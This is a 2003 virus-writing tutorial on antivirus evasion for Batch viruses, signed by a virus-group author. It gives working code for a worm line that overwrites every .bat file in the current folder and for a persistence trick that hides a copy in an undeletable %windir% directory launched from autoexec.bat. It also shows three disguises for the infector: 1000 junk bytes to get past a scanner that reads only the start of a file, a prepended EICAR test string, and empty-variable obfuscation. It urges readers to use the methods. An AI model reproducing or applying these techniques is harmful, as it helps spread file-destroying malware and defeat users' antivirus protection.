Useful Things In Batch

A tutorial by: by Second Part To Hell/[rRlf] 

*************************************************************
  *************************************************************
  ************                                      ***********
  ************        Useful things in Batch        ***********
  ************     by Second Part To Hell/[rRlf]    ***********
  ************                                      ***********
  *************************************************************
  *************************************************************

.intro words

 While making my Batch WOrm Generator I discovered much very useful techniques
 for Batch viruses, for instands about Encryption or Polymorphism. But I
 discovered also some other techniques. These are Anti AVA techniques, and I
 thought, I don't have to let them die. Now let's start...

.index

 I'm sure, that you want to know, about which techniques I want to
 talk. So, here is the shit of content 
 1) Including fake bytes
 2) Useing a undeletable directory (Not for Win00|NT|XP)
 3) Including the EICAR-Testfile
 4) Pseudo-Trash between the code

.Including fake bytes

 This is a special Anti-KAV-heuristic technique. Maybe you know, that KAV only
 searchs in the first 1000 Bytes for the virus (I think, only in batch viruses).
 What does that mean for us? Guess what?  We inlude befor of the start of our
 virus 1000 silly bytes, which don't do anything. And what is t effect? Let's test
 it. First we have a very silly code-string, that only spread itself in the
 current dir via overwriting Batch-files. KAV named it 'BAT.Silly.d'.

- - - - - - - - - - [ BAT.Silly.d ] - - - - - - - - - -

for %%a in (*.bat) do copy %0 %%a

- - - - - - - - -[ End of BAT.Silly.d ]- - - - - - - - -

 Now let's test our new technique. Includeing 1000 fake-Byte should not
 be a serious problem. Because of the fact, that batch ignore simple input-errors
 we won't have any problems with it. My string contains random lowercase-letters.
 But it should be no problme to include also other letters like Uppercase or
 numbers and so on. Important Note: Do not include a '<' or a '>', because the
 computer will 'think', that you want to read/write from a file.

- - - - - - - - - - [ Fake Bytes ] - - - - - - - - - -

stjrdnfuqlgmpuwefguowyakzxgkxolraxozihswcfngwkpaolmmyfrzmsxbcnvrmwrtnjpwybshmhxjtimvzwjuoakncjwynilyp
zciptpriqzrfqkqwgfiqpivuityndlqmlivmdtkjuynjdxzmpjedfjacsqgybiwcamxxxwolzzkprquufavkqfdyuqjcxvpizrakx
pdmogwizgfrjhvxrmeewywmknxbqbthypeksxmywlfaijracwftfsflicvgfwqzsnrductwbvvtkkzerzgpcbzkngktcdfybzsnby
emlcctvneufmhnvfsutoqnldznssinuqigrxbzyxwfmblnqhxztsokqyldnimzgjsmqwshasowgjrmwldkikgjwuffflhwugwrbqd
qhbueiaahtvwmhfrhntudpvscpkiftyiwceboltowopsojwxbuarilavnacqlljixreykldgdqxdckayqztleotrbijiwzpesheyd
cweyfyrldgvwkcocrqfqtlxuchxdhkpddokhpvxcihqshgqnpjoeqlxspcncyzlvkywzbtijvuiazhevcorognwzgscmmcappqrzw
vmtjkatslrkzxrrwxiawspgfvwwphueigwostqtuwrsabmlsrugeudglkmadpimsdbhsmhzlqtcaqftezwbaqrlkzjnzdhvhrpgbi
ajbakariwolazvdwhskrdsyqqcjayyqwusubevwumtwysahdzxtqhausneeistduraaaozircfrxqaidvarbiwibwzbtjajurezzd
wvqswebffznuymcvqhitlgknfdlwbzdlxfikprozaaxynlxhtmcflbnptelhpgpymekdijonvhyiswpgprdhxtffzimxrdofzonaz
qficniylakfqrazsqqviidufwfuwcialsryemswoekufgliuyybgzdydtqfmqnfqwdxmztbzqultebjbahjcadmibazhxsqljsslv
cqqqtsqfndkcwihitiscoqqsphuooymtkolmjdielrslulfpqodcitauueorvbyohxhmwgfwozxkggipmgpkoutzykratrhamqbxj

for %%a in (*.bat) do copy %0 %%a

- - - - - - - - - [ End of Fake Bytes ] - - - - - - - - -

 The thing looks damn stupid, but the effect is genial :). The whole virus
 works, but KAV don't show any alarm. And also no heuristic alarm. I'm sure,
 that you will like this technique very much.

.Useing a undeletable directory (Not for Win00|NT|XP)

 This technique's name looks very cool. And don't worry, it IS very cool.
 But first let me explain, what it is: Windows 95 and Windows 98 have a
 bug. If you try to make a new directory in MS-DOS, which contains some special
 letters, windows won't be able to work with that directorys. You can't open
 the directory, move it or delete it. That's the princip of our technique,
 because of the reason, that batch is a DOS script. Now let's have a look at
 letters, which make that possible.

- - - - - - - - - - - [ Letter List ] - - - - - - - - - - -

ASCII  176: °
ASCII  177: ±
ASCII  178: ²
ASCII  179: ³
ASCII  180: ´
ASCII  185: ¹
ASCII  186: º
ASCII  187: »
ASCII  188: ¼
ASCII  191: ¿
ASCII  192: À
ASCII  193: Á
ASCII  194: Â
ASCII  195: Ã
ASCII  196: Ä
ASCII  197: Å
ASCII  200: È
ASCII  201: É
ASCII  202: Ê
ASCII  203: Ë
ASCII  204: Ì
ASCII  205: Í
ASCII  206: Î
ASCII  213: Õ
ASCII  217: Ù
ASCII  218: Ú
ASCII  219: Û
ASCII  220: Ü
ASCII  223: ß
ASCII  242: ò

- - - - - - - - - -[ End of Letter List ]- - - - - - - - - -

 OK, we know all the chars, which are possible. Now let's make a little
 sample with that technique. My sample makes a undeleteable directory in
 %windir%, and write something to the autoexec.bat, which let the virus
 start at every windows-run.

- - - - - - - - - - - [ Letter List example ] - - - - - - - - - - -

cls
@echo off
cd %windir%
md º´ÜòÌ
cd º´ÜòÌ
copy %0 virus.bat
echo cd %windir% >>autoexec.bat
echo cd º´ÜòÌ >>autoexec.bat
echo virus.bat >>autoexec.bat

- - - - - - - - - -[ End of Letter List example ]- - - - - - - - - -

 I'm sure, that you'll understand the example. A special thanks goes
 to the Author of 'Trojan.BAT.NoDelDir', but unfortunatly I don't know,
 who it is. If you read this, please contact me!!!

.Including the EICAR-Testfile

 I think, that everybody knows, what EICAR-Virus-Test-File is. If not, I'll
 explain it: It's a com-file from EICAR, and every Scanner detects it. It's
 only for testing your AV. It's no virus, but it writes a String to the DOS
 screen. OK, sounds nice, but how can we use it? Because of the fact, that
 nearly everybody knows about that file, nobody is scared of a warning from
 his AV about that detection. That's the point. We include to our program the
 EICAR-file, so useres won't be scared of it. Here is the EICAR file content:

- - - - - - - - - [ EICAR-content ] - - - - - - - - - -

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

- - - - - - - -[ End of EICAR-content ]- - - - - - - - -

 This is the same princip as the fake-bytes. But it contains a sensefully
 content: The EICAR-file. It's the same 'virus', that I used in the FAKE
 BYTE including technique. But now it's no more detect as 'BAT.Silly.d'
 but 'EICAR-Test-File'. And we had success 
- - - - - - - - - [ EICAR-content example] - - - - - - - - - -

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
for %%a in (*.bat) do copy %0 %%a

- - - - - - - -[ End of EICAR-content example]- - - - - - - - -

.Pseudo-Trash between the code

 The title sounds emazing. So, what do I mean with 'Pseudo-Trash'?
 Anything, that is written down in the code, but do not exist in the
 runtime. You may think, that I'm a stoned/drunken or whatever, but it's
 the only possible explanation. Think about the explanation. What comes
 to your mind? Maybe the command 'set'? Then you're at the right way.
 OK, a variable contains any content. But the point is, that a variable
 can also contains '' (=nothing). Now we solved our problem    Let's look at the code. It's again the silly virus, which is detect by
 KAV as 'BAT.Silly.d'.

- - - - - - - - - [ Pseudo-Trash example] - - - - - - - - - -

%anyting%fo%anyting%r %%a i%anyting%n (%anyting%*.ba%anyting%t) d%anyting%o co%anyting%py %0 %%a

- - - - - - - -[ End of Pseudo-Trash example]- - - - - - - - -

 As you can see, the thing is very (!!!) easy to make, but it's also useful.
 Note: you have to know, that the variable, that you use, has no content.
 Otherwise the virus won't work. If you are not sure about the content,
 include the line 'set anthing=', so you delete the content.

.last words

 These techniques could be really useful, if you also include other Anti AV
 tricks. If you include all these things and also encryption or polymorphism
 or whatever, AVs will have a really problems. Now I hope, that you'll try
 to use some (or maybe all  ) of these things in your future-projects,
 otherwise I wasted much hours of discover the techniques, searching errors
 and better ways of it, checking the behaviour on other OSes and writing the
 article. OK, in the end I want to say sorry about my english spelling or
 grammer mistakes :).

      - - - - - - - - - - - - - - -
        Second Part To Hell/[rRlf]
        www.spth.de.vu
        spth@aonmail.at
        written in june 2003
        Austria